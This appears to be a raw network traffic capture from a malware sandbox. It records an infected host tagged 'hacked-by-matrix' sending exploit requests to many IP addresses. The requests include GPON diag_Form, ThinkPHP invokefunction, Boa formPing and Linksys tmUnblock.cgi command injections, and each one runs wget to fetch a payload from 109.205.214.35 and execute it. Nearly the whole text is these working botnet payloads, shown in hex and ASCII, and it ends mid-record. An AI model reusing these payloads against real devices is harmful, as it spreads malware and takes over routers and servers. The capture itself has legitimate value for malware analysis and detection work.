Mar 21, 2024 05:18:09.797889948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	36504	212.191.238.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.797914028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	59712	42.64.236.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.797930956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	59500	94.242.203.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.797981977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	35722	2.76.99.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.797981977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	51440	212.144.229.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.798016071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	35122	109.75.22.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.798086882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	39476	2.130.32.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.798135996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	52574	95.101.253.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:11.162480116 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:11.321733952 CET	583	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 361 Expires: Thu, 21 Mar 2024 04:18:11 GMT Date: Thu, 21 Mar 2024 04:18:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 65 33 66 36 35 35 66 26 23 34 36 3b 31 37 31 30 39 39 34 36 39 31 26 23 34 36 3b 32 30 63 37 65 31 63 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 65 33 66 36 35 35 66 26 23 34 36 3b 31 37 31 30 39 39 34 36 39 31 26 23 34 36 3b 32 30 63 37 65 31 63 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6e3f655f.1710994691.20c7e1cb<P>https://errors.edgesuite.net/9.6e3f655f.1710994691.20c7e1cb</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	59072	62.254.18.44	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.409025908 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.493005991 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	37656	172.245.25.13	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.462479115 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:12.571240902 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	36202	172.65.184.213	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.550385952 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	34888	42.87.255.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807468891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	52434	79.37.52.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807531118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	46758	5.99.156.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807560921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	37194	94.179.101.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807568073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	38452	5.214.166.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807605982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	49292	5.59.70.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807611942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	40028	94.190.122.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807676077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	40656	42.205.78.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807694912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	44290	118.175.17.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.807703018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	53574	5.153.27.74	443

Timestamp	Bytes transferred	Direction	Data
